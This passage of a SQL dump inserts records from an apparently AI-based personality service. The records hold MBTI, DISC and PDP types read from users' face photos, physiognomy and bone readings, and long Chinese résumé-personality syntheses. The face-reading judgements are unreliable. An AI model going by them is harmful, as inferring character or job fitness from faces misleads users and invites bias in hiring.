+INSERT INTO `mbti_test_results` VALUES (92, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047511, 1773047511, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (93, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109282, 1773109282, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (94, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109761, 1773109761, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (95, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健,善于规划与分析,做事有节奏,抗压与持续力强,适合深度思考与系统搭建型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg\"], \"boneAnalysis\": \"额区骨势平正,中上停过渡顺畅,骨肉均衡偏稳健型,属土金气质,重视现实与长期稳步推进。\", \"faceAnalysis\": \"额头饱满略宽,眼神沉稳有聚焦力,眉眼距离适中,整体给人理性内敛、思路清晰的印象。\", \"personalitySummary\": \"性格内敛理智,重视逻辑与结构,做事有计划感与原则边界,偏结果导向,不喜情绪化,人际上选择性投入,信任后稳定可靠。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773127193, 1773127193, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (96, 1, 'resume', '{\"content\": \"综合分析生成失败,请稍后重试。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129576, 1773129576, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (97, 1, 'resume', '{\"content\": \"下面这几份测评结果之间存在明显冲突(AI 面相:INTJ+D/C、问卷:ESTJ、PDP:孔雀85%+老虎15%、DISC:I 型100%),说明: \\n- 一部分结果偏“内向、理性、规划型”(INTJ / D+C); \\n- 另一部分则是典型“外向、表现、社交型”(ESTJ / 孔雀 / I 型)。 \\n\\n要得出“真实性格画像”,需要**假定真实人是一个:外向、偏理性、行动导向,兼具表达欲与管理意识的人**。下面是基于测评交叉验证 + 典型画像的综合结论(简历细节看不到,只能弱化对具体行业/岗位的判断,也会提示哪些点需要你自己对照验证)。\\n\\n---\\n\\n## 一、核心性格关键词(归纳后的人格底色)\\n\\n- 外向表达:强社交驱动力,喜欢说、敢表达、在群体中有存在感。 \\n- 现实务实:关注“现在怎么做”“事情如何落地”,不沉迷空想。 \\n- 结果导向:重视目标、绩效和可见成果,有一定“赢”的欲望。 \\n- 逻辑清晰:结构化思考,能把事情拆解、排序、制定步骤。 \\n- 主动掌控:偏喜欢主导、组织、发起,而不是被动跟随。 \\n- 情绪乐观:基调偏阳光,抗挫后容易自我鼓励再冲一次。 \\n- 自我要求高:对自己在他人眼中的表现和成就感有强需求。\\n\\nAI 面相给出的 “INTJ / 老虎+猫头鹰 / D+C” 更像你在“独立思考、冷静决策”时的理性内核;问卷测评 “ESTJ / 孔雀 / I 型” 更像你在“工作场景+社交场景”中的对外表现。整体呈现为:**外向型管理者 + 理性分析底色**。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 性格底色与潜在特质(结合生日倾向 + INTJ/ESTJ 混合特征)\\n\\n在不做玄学的前提下,生日只作为“人生阶段”判断: \\n- 若目前在 25–35 岁:通常是**从“表现者”向“管理者”过渡期**,会从单纯爱表现、爱说服,转向更重视结果与权威; \\n- 若在 30+:更容易体现出“控制局面、规划全盘”的一面。\\n\\n结合 INTJ(规划+逻辑)与 ESTJ(执行+管理)两种画像,你的**本质并不是真·情绪型社交咖,而是一个有计划、讲逻辑的人,只是社交和表达能力也很强**。 \\n\\n潜在特质包括: \\n- 有“我要做出点成绩”的强内驱; \\n- 对“组织、规则、流程”有天然敏感; \\n- 面子与他人评价对你重要,会驱动你多做、多争取舞台; \\n- 内心并不完全随性,喜欢自己心里有一张“路线图”。\\n\\n### 2. 真实行为风格(结合工作经历推断)\\n\\n虽然没看到具体简历内容,只能按常见轨迹做逻辑推演,需要你自己对照:\\n\\n**若你的工作经历包含:销售、商务、市场、项目协调、管理岗:** \\n- 高度符合“ESTJ + 孔雀 + I 型”: \\n - 乐于外出、谈判、主持会议、做方案汇报; \\n - 在团队中易演变成“说话多、推动力强”的那个人; \\n - 对流程、进度节点、业绩数字敏感,催进度、要结果不含糊。 \\n\\n**若你的经历更偏:运营管理、项目管理、团队负责人:** \\n- 说明你的“控制+规划”部分已经被激活: \\n - 能把复杂任务拆分成步骤,安排到人,跟踪落地; \\n - 在出现问题时,先分析逻辑和责任,再考虑情感安抚; \\n - 会用数据、事实说话,而不是仅靠情绪鼓舞。 \\n\\n整体行为模式可概括为: \\n> “先把人带动起来 → 再用结构和规则把事情落地 → 完成目标后又希望得到认可和掌声。”\\n\\n### 3. 抗压能力与做事习惯\\n\\n- **抗压能力** \\n - 对“短期高压、快节奏、强目标”的环境适应度高(如季度冲刺、项目节点)。 \\n - 在“持续模糊、长期看不到结果”的环境中会烦躁,容易质疑方向或改变路径。 \\n\\n- **做事习惯** \\n - 偏爱“有清晰目标+时间节点”,喜欢列计划、做表格、做排期。 \\n - 执行上快,愿意边干边调整,不喜拖延。 \\n - 对细节能做到“80 分认真”,但在极端细腻、重复性细活上容易浮躁。 \\n\\n- **人际模式** \\n - 在团队中倾向于做“气场较强的核心人物”:要么是领头羊,要么是关键 KOL。 \\n - 习惯用“讲道理+讲结果”方式沟通,可能略显直接。 \\n - 对“低效、拖延、不负责”的人容忍度低,容易在语气上带出不耐烦。 \\n\\n这部分与 D 型(主导)、I 型(影响)、老虎(行动)、孔雀(表现)高度吻合。\\n\\n---\\n\\n## 三、测评交叉验证:去伪存真的人格画像\\n\\n### 1. MBTI 冲突的校正\\n\\n- 面相:INTJ(内向+理性+规划) \\n- 问卷:ESTJ(外向+理性+执行) \\n\\n结合 PDP / DISC 的高孔雀、高 I 型,**你的现实工作中更接近 ESTJ:外向、现实、讲规则、强调结果**。 \\nINTJ 的成分可能体现在: \\n- 你比典型“社牛”多一点**独立思考和逻辑规划**; \\n- 在做关键决策时,你倾向先自己冷静想一圈,再去说服别人,而不是一味随大家; \\n- 有一定“看不惯低效率”的完美主义倾向。\\n\\n结论: \\n> MBTI 上更接近:E–S–T–J,带一点 N(规划、抽象思考)的影子,远离 F(过度感性)。\\n\\n### 2. PDP:孔雀 85% + 老虎 15%\\n\\n- 孔雀:表现、影响力、情绪感染。 \\n- 老虎:目标、控制、竞争。 \\n\\n你看起来不是“单纯爱玩爱聊”的孔雀,而是“带野心、带结果意识的孔雀”。 \\n- 在需要舞台感、演讲、主持、推动氛围的场景,你会很自然地站出来; \\n- 一旦涉及利益、成绩、晋升,会明显激活“老虎”那一面:更强势、更坚持原则。 \\n\\n### 3. DISC:I 型 100%,第二为 D\\n\\n- I:影响力、社交、情绪感染; \\n- D:主导、决断、冲劲。 \\n\\n结合 ESTJ 与老虎成分: \\n- 真实状态更像 **“ID 型”**:既要人、也要事。 \\n- 对领导、客户:会用热情和结果说话; \\n- 对下属/同事:既能“带节奏”,也会因为过于直接而不自觉给压力。\\n\\n---\\n\\n## 四、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- 典型“说-干一体型”:喜欢边讨论边拍板,拍板后立即推进; \\n- 决策方式:偏“快速+信息足够即可”,不是追求完美信息,而是“先做再优化”; \\n- 在团队中容易占中心位:主持会议、总结发言、做关键决策; \\n- 喜欢有可见进展的事情,对长期无反馈的琐碎任务兴趣低。\\n\\n### 2. 沟通风格\\n\\n- 语言直接、结构清晰:会说“核心有几条”“结论先说”。 \\n- 以“道理+目标+数据”说服别人: \\n - 对上:强调成果与可行性,争取资源; \\n - 对下:强调标准和责任,边鼓励边施压。 \\n- 正面情绪表达显性:善于鼓舞、打鸡血、造氛围; \\n- 负面情绪容易通过语气、表情显露:不满时很难完全掩饰。 \\n\\n**风险点**:在压力或节奏很快时,容易显得: \\n- 话多但听得不够多; \\n- 关注任务多于感受,被人贴上“有点强势/有点功利”的标签。\\n\\n---\\n\\n## 五、优势亮点(可在工作中刻意放大的部分)\\n\\n1. **强推动力与执行落地能力** \\n - 能设定明确目标→拆解成执行步骤→持续跟进,适合做项目 owner、团队负责人、业务骨干。 \\n\\n2. **沟通与影响力强** \\n - 能把复杂事务讲清楚、讲明白,有说服力; \\n - 适合对外(客户、伙伴)沟通,对内(团队)动员。 \\n\\n3. **结果导向、责任感强** \\n - 对自己负责的事有“非搞好不可”的执念; \\n - 有一定“替组织操心”的属性,天然具备管理潜力。 \\n\\n4. **逻辑与结构能力不错** \\n - 能快速抓重点、搭框架,对流程、制度、规范化有敏感度; \\n - 在需要制度建设、流程优化、项目梳理时有优势。 \\n\\n5. **抗压和适应快节奏** \\n - 在“多任务+高节奏+强目标”的业务环境中能跑得起来; \\n - 面对变化能迅速调整策略,而不是僵在原地。\\n\\n---\\n\\n## 六、可提升方向(真实短板与发展建议)\\n\\n1. **倾听与情绪敏感度** \\n - 风险:在推进任务和讲道理时,容易忽视他人真实感受; \\n - 建议: \\n - 每次决策前养成“先问三分钟,再讲三分钟”的习惯; \\n - 对关键成员,定期做一对一沟通,刻意问“你有什么顾虑和困难”。 \\n\\n2. **细节耐心与长期主义** \\n - 风险:在没有即时反馈的长期任务、细腻工作(如复杂数据分析、文档精修)中容易失去耐心; \\n - 建议: \\n - 把长期任务拆成多个“小里程碑”,每周给自己一个可见成就; \\n - 把关键细节工作分配给适合的 C/S 型伙伴,自己做决策与协调。 \\n\\n3. **控制欲与授权** \\n - 风险:老虎+D 的成分会导致“什么都想管、事事想确认”,容易累自己、压别人; \\n - 建议: \\n - 明确哪些事情“必须亲自”,哪些可以“设规则+定结果”; \\n - 对团队多用“结果管理”而非“过程控制”,减少微观干预。 \\n\\n4. **情绪管理与表达方式** \\n - 风险:压力大时语言锋利、语气急,损害长期合作关系; \\n - 建议: \\n - 在高压场景下刻意用“问题导向”替代“情绪指责”,如: \\n - 把“你怎么又……”换成“这次问题的关键点在哪,我们下次怎么避免”; \\n - 对重要对象(上级、关键同事)在冲突后及时“复盘+修复关系”。 \\n\\n5. **战略思维与视角拉高** \\n - 当前偏“战术执行+组织管理”,战略层面(行业趋势、资源布局、组织设计)需要强化; \\n - 建议: \\n - 多参与跨部门项目,主动争取“组织级”的任务; \\n - 多向上级/前辈学习:他们如何看待长期布局与风险管理。\\n\\n---\\n\\n如果你愿意补充: \\n- 出生年月日 \\n- 过往 2–3 段关键工作经历(行业/岗位/负责内容) \\n\\n我可以在此基础上,把上面的通用分析进一步细化成:**更贴近你行业发展路径的职业定位与中长期发展建议**。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129620, 1773129620, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (98, 1, 'resume', '{\"content\": \"下面的分析基于: \\n- 人脸分析:INTJ + PDP「老虎」、DISC「D/C」 \\n- MBTI 测试:ESTJ(E/S/T/J 极高分) \\n- PDP 测试:孔雀型(主 Peacock,辅 Tiger) \\n- DISC 测试:I 型为主、D 为辅 \\n- 你上传了简历,但图片内容我无法读取,因此无法结合具体工作经历、生日做更细致的印证,只能从多份测评之间做“去伪存真”的综合判断。后面如果你能补充文字版的工作经历与生日,我可以给一版更接地气的“行为风格复盘”。\\n\\n在当前信息有限的前提下,我会给出一个“高可信核心画像 + 若干可能分支”的结构化结论。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n从多份测评中相对稳定、可互相印证的特征来看,你大概率具备:\\n\\n**核心底色:**\\n- 目标导向、结果思维\\n- 逻辑清晰,偏理性决策\\n- 行动派,有执行力、有主见\\n- 组织、掌控倾向明显(喜欢有秩序、有计划)\\n\\n**在人际与工作场景中常见特征:**\\n- 带有一定的领导/主导欲 \\n- 愿意表达观点,敢于决策 \\n- 不怕冲突,更关注解决问题和推进结果 \\n- 在自己熟悉的领域,显得自信、果断\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. MBTI、PDP、DISC 之间的矛盾点\\n\\n- 面相:INTJ+D/C → 偏**内向、理性、战略性、自控强**\\n- MBTI 测评:ESTJ → 偏**外向、务实、执行强、组织者**\\n- PDP 测评:孔雀(Peacock,85%) + Tiger → 偏**外向、表现欲、社交活跃、影响他人**\\n- DISC 测评:I 型 + D → **影响型+支配型**,典型“爱说、爱带节奏、乐观感染人”。\\n\\n这几份结果存在明显冲突: \\n- 有的把你描述成“外向型组织者/表现者(ESTJ、Peacock、I 型)”; \\n- 有的把你描述成“理性、独立、略冷感的战略型(INTJ、D/C)”。\\n\\n这通常意味着两种可能:\\n\\n1. **你在工作/社交角色中表现得更外向、能说会道,但内在思维模式偏理性和掌控。** \\n2. 部分在线测评受“答题倾向”影响,夸大了你的外向、表现欲,而人脸分析和 D/C 倾向提示你其实更看重逻辑、控制、结果。\\n\\n### 2. 更可信的“核心人格底盘”\\n\\n从多维度交叉看,以下几条特征在所有版本里都**反复出现或隐含**,可信度较高:\\n\\n1. **理性决策占主导** \\n - INTJ、ESTJ、D、老虎、Tiger 都指向: \\n - 偏「T」而不是「F」:做决定看事实、逻辑、利弊,而不是情绪和关系优先。 \\n - 习惯快速判断:什么是对的、什么是有效的。\\n\\n2. **强目的性和控制感需求** \\n - D 型、Tiger、ESTJ、INTJ 的共同点: \\n - 喜欢掌握节奏,不愿被动等待或被人牵着走。 \\n - 在项目/团队中容易自然站到“主导/决策/推动”位置。 \\n - 面对模糊和混乱,会本能地想建立规则、流程、优先级。\\n\\n3. **较强的结构化与执行力** \\n - ESTJ 的 J + S,D/C 的 C,老虎+猫头鹰等,都指向你: \\n - 能把目标拆解为计划并落地执行。 \\n - 不排斥流程和规则,甚至会主动制定标准。 \\n - 对“拖延、反复、模糊指令”容忍度不高。\\n\\n4. **情绪相对稳定,抗压能力中高档** \\n - 老虎、D 型、ESTJ 都意味着: \\n - 面对压力更倾向于解决问题,而非逃避。 \\n - 紧张情境下,有一定硬扛能力,会选择“顶上去”,而不是明显退缩。 \\n - 表面情绪控制较好,不会在工作场合频繁情绪化。\\n\\n### 3. 关于“外向/内向”的真实情况\\n\\n矛盾点在于: \\n- 面相:INTJ + D/C → 偏内敛、理性,精力投向任务和思考。 \\n- 测评:ESTJ + 孔雀 + I 型 → 强烈外向、表达欲强、喜欢社交。\\n\\n更合理的解释不是“要么内向要么外向”,而是:\\n\\n> **你属于「任务场景外向、私下可能收敛」的类型。**\\n\\n- 在工作需要你去沟通、协调、影响别人时: \\n - 你能很自然地打开自己,敢说敢表达,甚至偏强势,逻辑清晰、直奔主题。 \\n- 但在真正放松的私人生活中: \\n - 你未必喜欢「无效社交」;更愿意一个人/少数人深度交流,而不是在大场合持续充当焦点。 \\n- 你对社交的态度更像“为了目标服务的工具”,而不是单纯享受社交本身。\\n\\n---\\n\\n## 三、行为与沟通风格(工作场景下的真实模样)\\n\\n### 1. 做事习惯\\n\\n- **有计划、有目标感**:更习惯先弄清目标,再讨论怎么做;不喜欢边做边变更方向。 \\n- **讲效率、不磨叽**:倾向快速决策,看到明显的不合理会直接提出或调整。 \\n- **重结果、重标准**:任务若没有清晰指标会不舒服,你会主动帮团队明确“什么算做好”。 \\n- **对细节有选择性关注**:重要细节不会放过,但对你认为“不影响结果”的细节容忍度较高。\\n\\n### 2. 抗压与应对方式\\n\\n- 压力上来时,你更可能: \\n - 开始划优先级:先干关键的,丢掉不重要的。 \\n - 收紧控制:更多亲自盯、亲自决策,对他人犯错的耐心下降。 \\n - 语气变硬、容错率下降,但仍以“把事搞定”为主线。\\n\\n- 你不喜欢长期处在完全失控、完全被动的局面,如果环境过于混乱,可能会选择“要么接管,要么离开”。\\n\\n### 3. 人际与沟通模式\\n\\n- **表达风格:直截了当、偏理性** \\n - 说话逻辑清楚、结论先行,不太习惯绕圈子。 \\n - 容易被觉得“有点强势/不够温柔”,尤其在指出问题时。\\n\\n- **合作风格:喜欢靠谱、有担当的人** \\n - 对拖延、情绪化、缺乏责任感的人容易不耐烦。 \\n - 和专业度高、对结果负责的人,很快可以建立信任。\\n\\n- **影响他人的方式** \\n - 不是靠“讨喜”,而是靠专业和决心; \\n - 在需要时,也能通过较强的表达能力、感染力带动团队。\\n\\n---\\n\\n## 四、优势亮点(综合 MBTI / PDP / DISC)\\n\\n1. **目标驱动 + 执行力强** \\n - 设定目标之后,能迅速拆解任务、分配资源、推动落地,是典型的“做成事”的人。\\n\\n2. **逻辑清晰,决策能力好** \\n - 看到信息后能快速判断优先级和风险,倾向于理性分析,而非被情绪带节奏。\\n\\n3. **有领导与组织潜质** \\n - 敢于承担责任、习惯站在“整体视角”看问题。 \\n - 在团队里容易自然成为“说了算/拍板的人”。\\n\\n4. **在关键场景中能外向表达、影响他人** \\n - 虽不一定是全场最爱社交的人,但在工作情境里,你能站出来讲话、谈判、推动项目。\\n\\n5. **抗压能力中上,有硬度** \\n - 在压力来临时,有继续推进的韧性,不轻易放弃或被情绪拖垮。\\n\\n---\\n\\n## 五、可提升方向(针对你这种“理性 + 控制 + 行动派”组合)\\n\\n1. **柔化沟通方式,区分“对事”和“对人”**\\n - 保持对结果的高标准,但在表达问题和反馈时: \\n - 多用“我观察到…”、“我们可以尝试…”代替“你怎么…”。 \\n - 先肯定再指出问题,降低对他人情绪的冲击。 \\n - 这能减少别人对你“强势/不好相处”的误解,提升合作效率。\\n\\n2. **增加对他人情绪与节奏的容忍度**\\n - 并非所有人都以效率为中心,有些人需要更多情感安全感和鼓励。 \\n - 适当拉长自己的“容错时间”,把“如何带出团队”视为和“把事做成”同等重要的目标。\\n\\n3. **避免过度控制与亲力亲为**\\n - 你的掌控感强,容易“看不惯就自己做”,短期效率高,但容易累,团队成长慢。 \\n - 更有价值的是: \\n - 明确结果和边界, \\n - 放权 + 关键节点把关, \\n - 只抓关键 20% 的事情。\\n\\n4. **警惕因过度理性而忽视长期关系资产**\\n - 将“人际关系、信任、口碑”纳入你的“结果指标”。 \\n - 不只是“事做成了”,而是“事做成的同时,让人愿意跟你继续做下一件事”。\\n\\n5. **自我节奏管理,防止长期高压硬撑**\\n - 你可能习惯“先把事干了再说休息”,容易透支。 \\n - 在高强度周期中,刻意安排: \\n - 短暂的断网休息、 \\n - 纯兴趣的活动、 \\n - 高质量的独处或少量深度社交, \\n - 用来恢复你的专注和判断力。\\n\\n---\\n\\n## 小结:一个更贴近真实的画像\\n\\n你更像是一个:\\n\\n> **以结果为导向、理性分析为底色,在工作场景中可以主动外向、善于组织和掌控局面的行动派。**\\n\\n- 内在:重逻辑、重掌控、重效率,不喜欢无序和拖拉。 \\n- 外在:在需要时能表现得外向、有说服力、有感染力,但本质上社交是服务于目标的工具。 \\n- 擅长:定目标、理清思路、推动执行、扛压力。 \\n- 易被误解:太直接、太强势、不够“温柔/顾情绪”。 \\n\\n如果你方便补充: \\n1)出生日期(精确到年月日) \\n2)简历里的关键经历(行业、职位、负责内容、任职时长) \\n\\n我可以在此基础上进一步校正,给你一版更贴近你真实工作场景的“行为与职业匹配度细化分析”。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773130628, 1773130628, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (99, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视长期规划与稳健推进,适合在专业与管理结合岗位深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"骨骼偏土形稳健,骨肉均衡,颌骨承载力强,中庭与鼻部突出现实感与责任心,具长期抗压与守成能力。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁端正,嘴形收敛,下巴厚实,整体面相稳重理性,偏重思考与执行并重。\", \"personalitySummary\": \"性格内敛理性,注重逻辑与系统思考,决策谨慎而有主见,做事稳扎稳打,擅长在复杂环境中分析问题并推进落地。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130642, 1773130642, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (100, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,擅长规划与稳健推进,做事有原则,重视长期发展与现实成效。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"面部骨骼偏土金形,骨肉匀称,颧区内敛不外凸,下颌承托感强,体现稳健持久与现实判断力。\", \"faceAnalysis\": \"额头饱满,下巴厚实,五官线条圆中带棱,神情稳重,整体给人理性沉稳、思考周密之感。\", \"personalitySummary\": \"性格偏理性克制,重视逻辑与效率,做事有计划且坚持度高,人际有边界感但可靠可信,适合承担长期复杂任务与关键责任。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130960, 1773130960, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (101, 1, 'resume', '{\"content\": \"下面是基于你目前提供的数据做的“初步画像”,因为简历内容图片我还看不到具体文字,只能先根据测评结果和你给的信息做框架式判断。等你补充简历文本(生日、工作经历),我可以再做一次更精准的“校正”和细化。\\n\\n---\\n\\n## 一、核心性格关键词(在现有信息基础上的“初稿”)\\n\\n- 外向表达强 / 乐于社交(E,高 I / 孔雀 / I型)\\n- 结果导向、执行力强(ESTJ、部分老虎、D)\\n- 乐观、有感染力、擅长影响他人(孔雀 / I型)\\n- 逻辑清晰、决策偏理性(T、INTJ 面相分析)\\n- 组织、规划和掌控欲较强(J、ESTJ、D)\\n- 可能存在:情绪耐受一般、容易对低效与拖延不耐烦、注意力分散或过度乐观\\n\\n> 说明:目前多份测评之间存在明显“冲突”(INTJ + D/C vs ESTJ + 孔雀 + I型),在没有工作经历和生日信息印证前,只能先给出一个“折中后的大致轮廓”。\\n\\n---\\n\\n## 二、真实性格深度分析(基于多测评交叉取中)\\n\\n### 1. 性格底色(以 MBTI ESTJ + PDP 孔雀 + DISC I 为主,兼顾面相 INTJ+D/C)\\n\\n- **外向倾向:明显偏外向 E**\\n - MBTI:E 得分 8:0\\n - PDP:孔雀 85%\\n - DISC:I 100%\\n → 真实中,很难是典型的“社交内向型”。更可能是: \\n 在熟悉环境中非常外向、健谈、有存在感,在陌生或专业场合会切换到“理性、控制局面”的模式。\\n\\n- **思维方式:现实理性 + 过程有序**\\n - MBTI:S(务实)+ T(理性决策)+ J(讲规则、重计划)\\n - 面相&DISC/D:逻辑分析、条理性、目标导向 \\n → 行为决策多以“现实可行性、成本收益”为基准,很少纯情绪化决策。对模糊、拖延和反复变更不耐烦。\\n\\n- **核心驱动力:成就 & 影响力 & 控制感**\\n - ESTJ:喜欢“组织、管理、推动进展”\\n - 孔雀 / I:喜欢“被看见、影响他人、气氛与人际反馈”\\n - D:喜欢“掌控局面、说了算”\\n → 综合来看,更可能是: \\n 既希望“事情有效率、结果达成”,又希望“自己是关键人物、被看到、能影响团队和氛围”。\\n\\n### 2. 情绪与压力反应(暂为推测版)\\n\\n- 面对压力,更可能表现为:\\n - 先上手解决问题,行动优先;\\n - 对他人拖慢节奏或不配合容易着急、发火;\\n - 不太愿意公开展示脆弱,更习惯“硬扛+往前推”。\\n- 在高压或反复被否定的环境中,可能会:\\n - 控制欲上升、语气变强势;\\n - 对细节和错误挑剔;\\n - 或出现短时逃避:注意力分散、转向社交或其他刺激来“分心”。\\n\\n---\\n\\n## 三、行为与沟通风格(从三类测评交集提炼)\\n\\n### 1. 行为风格(做事方式)\\n\\n**很可能的真实行为特征:**\\n\\n- 快节奏、行动型:不喜欢长时间空谈,更偏“边做边调”。\\n- 结构化:喜欢清晰的目标、时间表、优先级;讨厌混乱和没有决策。\\n- 现实实用:方案要落地、要有效,不爱“空想型创意会”。\\n- 需要自主权:对过度控制、反复否决会强烈不适;更适合被赋予责任和空间。\\n\\n**可能出现的行为盲点:**\\n\\n- 容易忽略他人情绪体验,认为“事情比感受重要”;\\n- 对节奏慢、风格细腻的人(高S、高F、高C)缺耐心;\\n- 可能因为乐观+自信,低估风险、细节或长期隐患。\\n\\n### 2. 沟通风格\\n\\n- **与下属/同事** \\n - 语言直接,指令清晰,强调“结果、时间节点、标准”;\\n - 擅长在团队里“打气”“带动情绪”,同时推进任务;\\n - 喜欢开门见山,不擅长长篇铺垫或过度安抚。\\n- **与上级/客户** \\n - 用数据、事实、案例说话,表达有条理;\\n - 会展示自信与掌控感,给人“靠谱、能干”的印象;\\n - 对模糊要求有时会“反问、追问”,希望边界更清晰。\\n- **社交场合** \\n - 易成为话题中心或组织者型角色;\\n - 善于调动氛围、快速建立关系,但对深度情绪、脆弱话题不一定愿意停留太久。\\n\\n---\\n\\n## 四、优势亮点(多测评共同指向的真实优势)\\n\\n1. **组织与执行能力强**\\n - 擅长拆解目标、制定计划、分派任务、盯进度;\\n - 能把一群人组织起来,朝同一个结果推进。\\n\\n2. **影响力与号召力**\\n - 外向表达 + 孔雀/I型,使你在团队中自然具备“带动情绪、影响氛围”的能力;\\n - 非常适合担任项目负责人、团队leader、BD/销售管理等对人和结果双重要求的角色。\\n\\n3. **理性决策、敢于拍板**\\n - 以事实、逻辑、经验为依据,敢做决定、敢担责;\\n - 在混乱和犹豫的环境中能“站出来给方向”。\\n\\n4. **目标导向、抗干扰能力相对较好**\\n - 结果清晰时,容易进入“执行模式”,专注在完成任务上;\\n - 对复杂问题有拆解和推进的能力,而不仅停留在想法层面。\\n\\n---\\n\\n## 五、可提升方向(结合三类测评的“偏科点”)\\n\\n1. **情绪与同理心维度的补位**\\n - 当前组合偏:结果 > 过程、事实 > 情绪。 \\n - 建议:\\n - 在给反馈、提要求前,先确认对方状态(“我看到你现在很赶/很累,我的建议是…”);\\n - 学会区分:对事可以强硬,对人要留余地;\\n - 对高情感敏感型同事(高F、高S)增加一些“情感确认”。\\n\\n2. **节奏与风格的灵活度**\\n - 强势+快节奏容易“碾压”节奏慢的人,导致团队出现被动服从、表面执行。 \\n - 建议:\\n - 在定目标时,邀请不同风格成员参与共创,减少“一言堂”;\\n - 有意识多问一句:“你怎么看?有什么风险/细节我没考虑到?”\\n\\n3. 